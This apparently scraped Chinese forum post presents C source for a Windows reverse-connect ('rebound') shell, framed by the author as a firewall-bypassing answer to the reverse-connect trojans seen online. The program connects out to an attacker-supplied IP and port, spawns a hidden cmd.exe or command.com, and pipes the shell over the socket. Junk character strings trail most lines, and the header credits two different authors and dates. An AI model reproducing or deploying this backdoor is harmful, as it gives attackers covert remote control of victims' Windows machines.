这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 V/LQ<Yke
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/* ============================== %lg=YGLQB
Rebound port in Windows NT ;Ag
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By wind,2006/7 WD'#5]#Y
===============================*/ N{-]F|XX
#include z5W@`=D
#include <cA/<3k)
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#pragma comment(lib,"wsock32.lib") %F kMv
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void OutputShell(); p-+K4
SOCKET sClient; 8EVgoJ.
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; BL 3gKx.'
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void main(int argc,char **argv) TNQP"9[?
{ s}pIk.4ot!
WSADATA stWsaData; D1nq2GwS
int nRet; w,R[C\#J
SOCKADDR_IN stSaiClient,stSaiServer; P;pl,~
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if(argc != 3) 3BpZX`l*p
{ D~o$GW%
printf("Useage:\n\rRebound DestIP DestPort\n"); N41 R
return; <L&m4O#|
} y<b{Ji e
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WSAStartup(MAKEWORD(2,2),&stWsaData); p">EHWc}D
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); j[Uxa
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stSaiClient.sin_family = AF_INET; $<ld3[l i
stSaiClient.sin_port = htons(0); -R{V-
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); y1=NF
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) *!^<m0
{ X*,Kb(3
printf("Bind Socket Failed!\n"); =!m}xdTP
return; -gQCn>"
} vky .^
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stSaiServer.sin_family = AF_INET; XNgDf3T
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ""Q1|
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); v`1,4,;,qs
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) }-~T<egF
{ LL$_zK{
printf("Connect Error!"); Ge d [#Q
return; lD mtQk-SN
} fu$R7
OutputShell(); M@W[Bz
} _w*}\~`=^
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void OutputShell() xAggn
{ @]bPVG?d
char szBuff[1024]; g:0#u;j^7
SECURITY_ATTRIBUTES stSecurityAttributes; _j_x1.l
OSVERSIONINFO stOsversionInfo; 'H7x L
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; d,$d~alY
STARTUPINFO stStartupInfo; ,.gQ^^+=
char *szShell; 'EFyIVezg9
PROCESS_INFORMATION stProcessInformation; z4 E|Ai
unsigned long lBytesRead; id?h >g
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); e$Y[Z{T5
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); W[+|}
stSecurityAttributes.lpSecurityDescriptor = 0; V(Yxh+KU
stSecurityAttributes.bInheritHandle = TRUE; %7g:}O$
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); &QNWL]
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); i_][PTH
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); dJ?XPo"Cm=
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
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stStartupInfo.wShowWindow = SW_HIDE; cQ:"-!ff
stStartupInfo.hStdInput = hReadPipe; gT/@dVV
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; RmrL^asg
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GetVersionEx(&stOsversionInfo); 2YuN~-
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switch(stOsversionInfo.dwPlatformId) exdx\@72
{ nADX0KI
case 1: X,8<oX1r
szShell = "command.com"; TPhTaKCio
break; _ pO `
default: H'F6$ypoS
szShell = "cmd.exe"; >%E([:$A
break; m0{ !hF[^
} |y<),j6
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ( )sTb>L
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send(sClient,szMsg,77,0); 7=]i~7uy
while(1) flgRpXt
{ wM[~2C=vx
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); bxK(9.
if(lBytesRead) E+C5 h
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{ i@NqC;~;
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 4 g.
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send(sClient,szBuff,lBytesRead,0); 1009ES7*
} 'Pvm8t
else - y9>;6
{ Q!,<@b)
lBytesRead=recv(sClient,szBuff,1024,0); $;G{Pyp
if(lBytesRead<=0) break; /=uMk]h
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Vx_rc%'
} f.GETw
} a{Esw`
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return; Jx#k,Z4
}